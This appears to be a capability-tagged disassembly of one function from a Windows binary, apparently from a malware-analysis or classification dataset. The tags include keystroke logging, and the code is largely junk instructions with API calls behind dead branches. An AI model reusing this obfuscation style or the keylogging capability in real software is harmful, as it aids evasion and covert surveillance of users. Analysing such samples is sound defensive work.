Function at 0x42585c
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Get file attributes
Get file system object information
Log keystrokes via polling
Parse pe header
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xacc
push esi
mov dword [ebp - 0x80], 0x8256a9ef
mov dword [ebp - 0x20c], 0x1fc3eee
mov dword [ebp - 0x228], 0xffffffff
mov dword [ebp - 0x54], 0x4888999d
mov dword [ebp - 0x78], 0x281d21f1
mov dword [ebp - 0x7b0], 0x831d26ec
mov dword [ebp - 0x7ac], 0x831d26ec
mov dword [ebp - 0x7a8], 0x831d26ec
mov dword [ebp - 0x7a4], 0x831d26ec
mov dword [ebp - 0x504], 0x9ce8
mov dword [ebp - 0x8f0], 0xdc1b2d86
mov byte [ebp - 0x6e], 0
movzx eax, byte [ebp - 0x6e]
test eax, eax
je 0x4258e9
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 0x80], 0
jne 0x4258fe
cmp dword [ebp - 0x80], 0
jne 0x4258fe
and dword [ebp - 0x470], 0
jmp 0x425908
mov dword [ebp - 0x470], 1
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x610], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x610]
mov dword [ebp + eax - 0x7b0], ecx
cmp dword [ebp - 0x610], 0
je 0x425b52
mov dword [ebp - 0x18c], 0x335900b
mov dword [ebp - 0x630], 0xe33ecdc0
mov dword [ebp - 0x638], 0
mov dword [ebp - 0xd4], 0x77d77fc7
mov dword [ebp - 0x124], 0
jmp 0x425996
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 4
jge 0x4259b2
mov eax, dword [ebp - 0x124]
mov dword [ebp + eax*4 - 0xa3c], 0xe4a6b2c4
jmp 0x425989
cmp dword [ebp - 0x20c], 0
je 0x425a32
cmp dword [ebp - 0x228], 0
jne 0x4259df
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x7b0]
sub eax, 5
jne 0x4259df
and dword [ebp - 0x6a4], 0
jmp 0x4259e9
mov dword [ebp - 0x6a4], 1
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xa04], eax
mov eax, dword [ebp - 0x18c]
cmp dword [ebp - 0x78], eax
jl 0x425a0c
mov dword [ebp - 0x618], 1
jmp 0x425a13
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x618]
neg eax
sub eax, dword [ebp - 0x18c]
mov dword [ebp - 0x54], eax
je 0x425a32
mov dword [ebp - 0x12c], 1
jmp 0x425a39
and dword [ebp - 0x12c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x12c]
mov dword [ebp + eax - 0x7b0], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x12c]
mov dword [ebp + eax - 0xa3c], ecx
mov eax, dword [ebp - 0x18c]
imul eax, dword [ebp - 0x12c]
test eax, eax
jne 0x425a7b
mov dword [ebp - 0x620], 1
jmp 0x425a82
and dword [ebp - 0x620], 0
mov eax, dword [ebp - 0x20c]
cmp eax, dword [ebp - 0x620]
jle 0x425a9c
mov dword [ebp - 0x6e0], 1
jmp 0x425aa3
and dword [ebp - 0x6e0], 0
mov eax, 0x149c
test eax, eax
je 0x425ac8
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xa3c], 0
je 0x425ac8
mov dword [ebp - 0x628], 1
jmp 0x425acf
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 0xa0d7
jl 0x425aff
mov dword [ebp - 0x4fc], 1
jmp 0x425b06
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd4], 0xfffffffb
jmp 0x425b2b
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0xfffffffd
jg 0x425b4d
mov byte [ebp - 0x6a], 0
movzx eax, byte [ebp - 0x6a]
test eax, eax
je 0x425b4b
push 0x1b9f
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x425b1e
jmp 0x425c25
mov dword [ebp - 0x948], 1
mov dword [ebp - 0x958], 0x35653649
mov dword [ebp - 0xa0c], 4
mov dword [ebp - 0x258], 4
mov dword [ebp - 0x1b0], 0
jmp 0x425b93
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 2
jge 0x425baf
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0xa68], 0x45cb296a
jmp 0x425b86
mov dword [ebp - 0x54], 0
jmp 0x425bbf
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xffffffef
jge 0x425c25
mov dword [ebp - 0x78], 3
jmp 0x425bd5
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jl 0x425c23
mov dword [ebp - 0x960], 0xcc9e520c
mov dword [ebp - 0x9e0], 0xffffffff
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x80], 0
jmp 0x425c0c
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jg 0x425c21
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
jmp 0x425c05
jmp 0x425bce
jmp 0x425bb8
and dword [ebp - 0x2c], 0
mov dword [ebp - 0x108], 0x540d7f82
mov dword [ebp - 0x190], 0xffffffff
mov dword [ebp - 0x968], 0x2a727599
mov dword [ebp - 0x1d0], 0xffffffff
mov dword [ebp - 0x524], 8
mov dword [ebp - 0xa10], 0x4f3d4e67
mov dword [ebp - 0x8dc], 2
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0x708], 0x9161d594
mov dword [ebp - 0x260], 1
mov dword [ebp - 0x108], 0
jmp 0x425ca6
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0xffffffe8
jl 0x425d11
mov dword [ebp - 0x8e4], 3
mov dword [ebp - 0x8ec], 7
mov dword [ebp - 0x8f4], 0xfffffffd
mov dword [ebp - 0x134], 0
jmp 0x425ce6
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 2
jge 0x425d02
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0xa78], 0xfffffff7
jmp 0x425cd9
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
jmp 0x425c99
mov dword [ebp - 0x190], 0xffffffe2
jmp 0x425d2a
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0xfffffffd
jge 0x426066
push 3
lea ecx, [ebp - 0x67c]
call fcn.0042ae00
mov dword [ebp - 0x718], 0x65392fb3
mov dword [ebp - 0x13c], 0
jmp 0x425d67
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 3
jge 0x425d86
push dword [ebp - 0x13c]
lea ecx, [ebp - 0x67c]
call fcn.0042aeee
and dword [eax], 0
jmp 0x425d5a
mov byte [ebp - 0xb3], 0
movzx eax, byte [ebp - 0xb3]
test eax, eax
je 0x425db3
push 0
push 0x171
push 0x21ea
push 0x1b4f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0xe0], 0
jmp 0x425dcc
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0xffffffe6
jle 0x426056
mov dword [ebp - 0xbc], 1
mov dword [ebp - 0x1d0], 0
jmp 0x425dfc
mov eax, dword [ebp - 0x1d0]
dec eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xfffffffa
jge 0x426051
push 1
lea ecx, [ebp - 0x7c8]
call fcn.0042ae00
mov dword [ebp - 0x144], 0
jmp 0x425e2f
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 1
jge 0x425e4e
push dword [ebp - 0x144]
lea ecx, [ebp - 0x7c8]
call fcn.0042aeee
and dword [eax], 0
jmp 0x425e22
mov eax, 0xec62bb2c
test eax, eax
je 0x42602e
mov esi, dword [ebp - 0xbc]
push 0
lea ecx, [ebp - 0x7c8]
call fcn.0042aeee
cmp esi, dword [eax]
jne 0x425e7e
mov dword [ebp - 0x50c], 1
jmp 0x425e85
and dword [ebp - 0x50c], 0
cmp dword [ebp - 0x50c], 1
je 0x425ea3
cmp dword [ebp - 0xbc], 0
je 0x425ea3
mov dword [ebp - 0x268], 1
jmp 0x425eaa
and dword [ebp - 0x268], 0
mov eax, dword [ebp - 0x708]
cmp dword [ebp - 0x268], eax
jne 0x425ec4
mov dword [ebp - 0x514], 1
jmp 0x425ecb
and dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 0xa43dee6e
je 0x425ee3
mov dword [ebp - 0x710], 1
jmp 0x425eea
and dword [ebp - 0x710], 0
push 0
lea ecx, [ebp - 0x67c]
call fcn.0042aeee
mov eax, 0x489be67e
sub eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xbc]
jle 0x425f16
mov dword [ebp - 0x270], 1
jmp 0x425f1d
and dword [ebp - 0x270], 0
push 2
lea ecx, [ebp - 0x67c]
call fcn.0042aeee
mov ecx, dword [ebp - 0x270]
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0xbc]
jl 0x425f46
mov dword [ebp - 0x51c], 1
jmp 0x425f4d
and dword [ebp - 0x51c], 0
cmp dword [ebp - 0x51c], 0xf81a
jl 0x425f6b
cmp dword [ebp - 0x524], 0
jne 0x425f6b
and dword [ebp - 0x278], 0
jmp 0x425f75
mov dword [ebp - 0x278], 1
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x278], eax
jge 0x425f8c
cmp dword [ebp - 0x108], 0
je 0x425fa1
mov eax, 0x158e9d28
test eax, eax
je 0x425fa1
mov dword [ebp - 0x280], 1
jmp 0x425fa8
and dword [ebp - 0x280], 0
mov eax, dword [ebp - 0x524]
add eax, dword [ebp - 0x280]
cmp eax, dword [ebp - 0xbc]
jne 0x425fc8
mov dword [ebp - 0x52c], 1
jmp 0x425fcf
and dword [ebp - 0x52c], 0
push 0
lea ecx, [ebp - 0x7c8]
call fcn.0042aeee
mov ecx, dword [ebp - 0x52c]
cmp ecx, dword [eax]
jle 0x426004
push 2
lea ecx, [ebp - 0x67c]
call fcn.0042aeee
cmp dword [eax], 0
je 0x426004
mov dword [ebp - 0x288], 1
jmp 0x42600b
and dword [ebp - 0x288], 0
push 0
lea ecx, [ebp - 0x67c]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0x288]
jg 0x42602e
mov dword [ebp - 0x534], 1
jmp 0x426035
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x718], eax
lea ecx, [ebp - 0x7c8]
call fcn.0042aed2
jmp 0x425def
jmp 0x425dbf
lea ecx, [ebp - 0x67c]
call fcn.0042aed2
jmp 0x425d1d
push 2
lea ecx, [ebp - 0x1ec]
call fcn.0042ae00
mov dword [ebp - 0x88], 0xfffffffe
mov dword [ebp - 0x14c], 0xfffffffd
mov dword [ebp - 0x2d0], 0xfffffff8
mov dword [ebp - 0x4c], 0
jmp 0x4260a1
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jge 0x4260bd
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
mov dword [eax], 0xd5e4
jmp 0x42609a
mov dword [ebp - 0x4c], 0
jmp 0x4260cd
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jge 0x4260e3
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x2e8], 0xf1036c14
jmp 0x4260c6
mov dword [ebp - 0x88], 0
jmp 0x4260fc
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jg 0x426591
mov dword [ebp - 0x20], 0
push 1
lea ecx, [ebp - 0x694]
call fcn.0042ae00
mov dword [ebp - 0x290], 0xcb5af9f7
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x720], 0xf5e4d8d9
mov dword [ebp - 0x728], 0xfffa
mov dword [ebp - 0x198], 0
jmp 0x42615b
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 1
jge 0x42617d
push dword [ebp - 0x198]
lea ecx, [ebp - 0x694]
call fcn.0042aeee
mov dword [eax], 1
jmp 0x42614e
mov dword [ebp - 0x20], 1
jmp 0x42618d
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x426367
cmp dword [ebp - 0x20], 0
jne 0x42632c
mov eax, 0x1867b8f5
test eax, eax
je 0x426323
push 0
lea ecx, [ebp - 0x694]
call fcn.0042aeee
mov dword [ebp - 0x14c], 0xf7919adb
mov esi, dword [ebp - 0x14c]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
add esi, dword [eax]
mov dword [ebp - 0x290], esi
mov esi, dword [ebp - 0x290]
push 0
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
cmp esi, dword [eax]
jle 0x426204
mov dword [ebp - 0x53c], 1
jmp 0x42620b
and dword [ebp - 0x53c], 0
cmp dword [ebp - 0x53c], 0
jne 0x426220
mov dword [ebp - 0x298], 1
jmp 0x426227
and dword [ebp - 0x298], 0
cmp dword [ebp - 0x298], 1
jg 0x42623c
mov dword [ebp - 0x544], 1
jmp 0x426243
and dword [ebp - 0x544], 0
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
mov ecx, dword [ebp - 0x544]
cmp ecx, dword [eax]
jl 0x426267
mov dword [ebp - 0x2a0], 1
jmp 0x42626e
and dword [ebp - 0x2a0], 0
cmp dword [ebp - 0x2a0], 0xffffffff
jle 0x426283
mov dword [ebp - 0x54c], 1
jmp 0x42628a
and dword [ebp - 0x54c], 0
cmp dword [ebp - 0x54c], 0x8ceef9a8
ja 0x4262a2
mov dword [ebp - 0x2a8], 1
jmp 0x4262a9
and dword [ebp - 0x2a8], 0
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
mov ecx, dword [ebp - 0x2a8]
cmp ecx, dword [eax]
jg 0x4262cd
mov dword [ebp - 0x554], 1
jmp 0x4262d4
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x554], eax
jge 0x4262ee
mov dword [ebp - 0x2b0], 1
jmp 0x4262f5
and dword [ebp - 0x2b0], 0
cmp dword [ebp - 0x2b0], 0x3380ee91
jge 0x42630d
mov dword [ebp - 0x55c], 1
jmp 0x426314
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x42632c
and dword [ebp - 0x2b8], 0
jmp 0x426336
mov dword [ebp - 0x2b8], 1
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
mov esi, dword [eax]
sub esi, dword [ebp - 0x2b8]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
sub esi, dword [eax]
mov dword [ebp - 0x720], esi
jmp 0x426186
mov dword [ebp - 0x58], 0
jmp 0x426377
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jl 0x426581
mov dword [ebp - 0x22c], 0x8acdd1f6
push dword [ebp - 0x58]
lea ecx, [ebp - 0x694]
call fcn.0042aeee
cmp dword [eax], 0xffff
jae 0x4264ca
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4263df
push dword [ebp - 0x88]
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
cmp dword [eax], 0
je 0x4263df
mov eax, 0x7438
test eax, eax
je 0x4263df
mov dword [ebp - 0x564], 1
jmp 0x4263e6
and dword [ebp - 0x564], 0
cmp dword [ebp - 0x564], 0x3e7a3298
jle 0x4263fe
mov dword [ebp - 0x2c0], 1
jmp 0x426405
and dword [ebp - 0x2c0], 0
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x728]
cmp dword [ebp - 0x14c], eax
jl 0x42642b
mov dword [ebp - 0x56c], 1
jmp 0x426432
and dword [ebp - 0x56c], 0
push dword [ebp - 0x58]
lea ecx, [ebp - 0x694]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0x56c]
jl 0x426456
mov dword [ebp - 0x2c8], 1
jmp 0x42645d
and dword [ebp - 0x2c8], 0
cmp dword [ebp - 0x2c8], 0
jae 0x426472
mov dword [ebp - 0x574], 1
jmp 0x426479
and dword [ebp - 0x574], 0
push dword [ebp - 0x88]
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
mov eax, dword [eax]
sub eax, dword [ebp - 0x574]
je 0x4264a9
cmp dword [ebp - 0x22c], 0
je 0x4264a9
mov dword [ebp - 0x57c], 1
jmp 0x4264b0
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x2d0]
cmp dword [ebp - 0x57c], eax
jg 0x4264ca
mov dword [ebp - 0x2d8], 1
jmp 0x4264d1
and dword [ebp - 0x2d8], 0
push 0
lea ecx, [ebp - 0x694]
call fcn.0042aeee
mov ecx, dword [ebp - 0x2d8]
cmp ecx, dword [eax]
jne 0x4264f4
mov dword [ebp - 0x598], 1
jmp 0x4264fb
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x598]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x2a53ebf
je 0x426523
push 4
pop eax
test eax, eax
jne 0x426523
and dword [ebp - 0x2e0], 0
jmp 0x42652d
mov dword [ebp - 0x2e0], 1
push 0
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
mov ecx, dword [ebp - 0x2e0]
sub ecx, dword [eax]
je 0x426562
push 0
lea ecx, [ebp - 0x1ec]
call fcn.0042aeee
cmp dword [eax], 0
je 0x426562
mov dword [ebp - 0x5a0], 1
jmp 0x426569
and dword [ebp - 0x5a0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5a0]
mov dword [ebp + eax - 0x2e8], ecx
jmp 0x426370
lea ecx, [ebp - 0x694]
call fcn.0042aed2
jmp 0x4260ef
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2e8], 1
lea ecx, [ebp - 0x1ec]
call fcn.0042aed2
mov dword [ebp - 0x8fc], 1
mov byte [ebp - 0x6c], 0
movzx eax, byte [ebp - 0x6c]
test eax, eax
je 0x4265d9
push 0x198b
push 0
push 0
push 0x192b
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x4265fa
push 0
push 0x1269
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 2
lea ecx, [ebp - 0x650]
call fcn.0042ae00
mov dword [ebp - 0x5e8], 0xffffffff
mov dword [ebp - 0x1b8], 0
jmp 0x42662a
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 2
jge 0x42664c
push dword [ebp - 0x1b8]
lea ecx, [ebp - 0x650]
call fcn.0042aeee
mov dword [eax], 0xdf75dcec
jmp 0x42661d
push 0
lea ecx, [ebp - 0x650]
call fcn.0042aeee
and dword [eax], 0
jmp 0x426682
push 0
lea ecx, [ebp - 0x650]
call fcn.0042aeee
mov dword [ebp - 0x5a8], eax
mov eax, dword [ebp - 0x5a8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x5a8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x650]
call fcn.0042aeee
cmp dword [eax], 2
jle 0x426c0c
push 1
lea ecx, [ebp - 0x58c]
call fcn.0042ae00
mov dword [ebp - 0xc4], 0xf0ed1ad6
mov dword [ebp - 0x730], 0xfffe
mov dword [ebp - 0x308], 3
mov dword [ebp - 0x154], 0
jmp 0x4266dc
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 1
jge 0x4266fe
push dword [ebp - 0x154]
lea ecx, [ebp - 0x58c]
call fcn.0042aeee
mov dword [eax], 0xfffffffc
jmp 0x4266cf
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x426729
push 0x727
push 0xd0d
push 0
push 0xd3b
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0
lea ecx, [ebp - 0x58c]
call fcn.0042aeee
mov dword [eax], 0x10
jmp 0x426762
push 0
lea ecx, [ebp - 0x58c]
call fcn.0042aeee
mov dword [ebp - 0x2f0], eax
mov eax, dword [ebp - 0x2f0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x2f0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x58c]
call fcn.0042aeee
cmp dword [eax], 0
jg 0x426bfc
mov dword [ebp - 0x40], 0xd72d
mov dword [ebp - 0x748], 0x2dd0
mov dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x40], 0
jmp 0x4267ac
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 8
jle 0x426bf7
mov dword [ebp - 0x82c], 0xb09f5954
mov dword [ebp - 0x828], 0xb09f5954
mov dword [ebp - 0x824], 0xb09f5954
mov dword [ebp - 0x820], 0xb09f5954
lea ecx, [ebp - 0x1f9]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x81c]
push eax
lea eax, [ebp - 0x82c]
push eax
lea ecx, [ebp - 0xa98]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x670]
call fcn.0042aeac
mov dword [ebp - 0x738], 0xd5297f1f
mov dword [ebp - 0xc4], 0
jmp 0x426836
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0xc
je 0x426be7
mov dword [ebp - 0xcc], 0xd711e7bf
mov dword [ebp - 0x15c], 0xffffffff
mov dword [ebp - 0xcc], 0
jmp 0x426870
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xfffffffe
jle 0x426a45
mov dword [ebp - 0x1a0], 9
mov dword [ebp - 0x300], 0x3cbaa6f4
push 0
lea ecx, [ebp - 0x670]
call fcn.0042aeee
mov dword [eax], 0xfff8
mov eax, 0xfff8
test eax, eax
jne 0x426a05
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x90c], eax
push 0
lea ecx, [ebp - 0x670]
call fcn.0042aeee
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0x1a0], eax
je 0x4268f4
push 3
pop eax
test eax, eax
je 0x4268f4
mov dword [ebp - 0x5b0], 1
jmp 0x4268fb
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x1a0]
imul eax, dword [ebp - 0x5b0]
cmp eax, dword [ebp - 0x40]
jne 0x426919
mov dword [ebp - 0x2f8], 1
jmp 0x426920
and dword [ebp - 0x2f8], 0
mov esi, dword [ebp - 0x15c]
push 3
lea ecx, [ebp - 0x670]
call fcn.0042aeee
mov ecx, dword [ebp - 0x2f8]
imul ecx, dword [eax]
add ecx, dword [ebp - 0x40]
cmp esi, ecx
jne 0x42694f
mov dword [ebp - 0x5b8], 1
jmp 0x426956
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x5b8]
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x1a0]
add eax, dword [ebp - 0x300]
cmp eax, 2
je 0x42697f
mov dword [ebp - 0x5c0], 1
jmp 0x426986
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x5c0]
dec eax
mov dword [ebp - 0x308], eax
imul eax, dword [ebp - 0x308], 0xfa94
cmp eax, dword [ebp - 0x15c]
jge 0x4269b1
mov dword [ebp - 0x5c8], 1
jmp 0x4269b8
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp - 0x5c8], eax
jl 0x4269d2
mov dword [ebp - 0x310], 1
jmp 0x4269d9
and dword [ebp - 0x310], 0
cmp dword [ebp - 0x310], 0xce324e81
ja 0x4269f1
mov dword [ebp - 0x5d0], 1
jmp 0x4269f8
and dword [ebp - 0x5d0], 0
push 0
lea ecx, [ebp - 0x58c]
call fcn.0042aeee
push 0
lea ecx, [ebp - 0x650]
call fcn.0042aeee
mov ecx, dword [ebp - 0x738]
cmp dword [eax], ecx
jge 0x426a28
mov dword [ebp - 0x318], 1
jmp 0x426a2f
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x318]
add eax, 0x328d
mov dword [ebp - 0x15c], eax
jmp 0x426863
mov dword [ebp - 0xcc], 0xffff
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x5e8], eax
jge 0x426a66
mov dword [ebp - 0x5d8], 1
jmp 0x426a6d
and dword [ebp - 0x5d8], 0
cmp dword [ebp - 0x5d8], 0xffffffff
jge 0x426a82
mov dword [ebp - 0x320], 1
jmp 0x426a89
and dword [ebp - 0x320], 0
cmp dword [ebp - 0x320], 0x6e9b1cc8
jne 0x426aa1
mov dword [ebp - 0x5e0], 1
jmp 0x426aa8
and dword [ebp - 0x5e0], 0
push 0
lea ecx, [ebp - 0x670]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0x5e0]
jne 0x426acb
mov dword [ebp - 0x328], 1
jmp 0x426ad2
and dword [ebp - 0x328], 0
mov eax, 0xfff8
sub eax, dword [ebp - 0x328]
cmp eax, dword [ebp - 0x5e8]
jg 0x426af7
cmp dword [ebp - 0xcc], 0
jne 0x426af7
and dword [ebp - 0x330], 0
jmp 0x426b01
mov dword [ebp - 0x330], 1
mov eax, dword [ebp - 0x748]
cmp dword [ebp - 0x330], eax
jle 0x426b1b
mov dword [ebp - 0x750], 1
jmp 0x426b22
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x914], eax
push 0
lea ecx, [ebp - 0x58c]
call fcn.0042aeee
mov esi, eax
push 0
lea ecx, [ebp - 0x670]
call fcn.0042aeee
mov ecx, dword [esi]
cmp ecx, dword [eax]
je 0x426b5c
mov dword [ebp - 0x5f0], 1
jmp 0x426b63
and dword [ebp - 0x5f0], 0
push 0
lea ecx, [ebp - 0x58c]
call fcn.0042aeee
mov ecx, dword [ebp - 0x5f0]
cmp ecx, dword [eax]
jg 0x426b86
mov dword [ebp - 0x338], 1
jmp 0x426b8d
and dword [ebp - 0x338], 0
push 0
lea ecx, [ebp - 0x650]
call fcn.0042aeee
mov ecx, dword [ebp - 0x338]
cmp ecx, dword [eax]
jle 0x426bb0
mov dword [ebp - 0x5f8], 1
jmp 0x426bb7
and dword [ebp - 0x5f8], 0
cmp dword [ebp - 0x5f8], 0x27260e96
jge 0x426bcf
mov dword [ebp - 0x340], 1
jmp 0x426bd6
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x758], eax
jmp 0x426829
lea ecx, [ebp - 0x670]
call fcn.0042aed2
jmp 0x4267a5
jmp 0x42673e
lea ecx, [ebp - 0x58c]
call fcn.0042aed2
jmp 0x42665e
lea ecx, [ebp - 0x650]
call fcn.0042aed2
mov eax, dword [ebp + 8]
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x91c], 0x91a049fe
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x426c4e
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov byte [ebp - 0x72], 0
movzx eax, byte [ebp - 0x72]
test eax, eax
je 0x426c70
push 0x2211
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [ebp - 0x224]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x427458
mov dword [ebp - 0x1a8], 0xfffffffa
mov dword [ebp - 0x3b0], 0xffffffff
mov dword [ebp - 0x778], 0x4795ed7
mov dword [ebp - 0x4f0], 0
mov dword [ebp - 0x380], 6
mov dword [ebp - 0x16c], 0xfffffffe
mov dword [ebp - 0xe8], 1
push 1
lea ecx, [ebp - 0x790]
call fcn.0042ae00
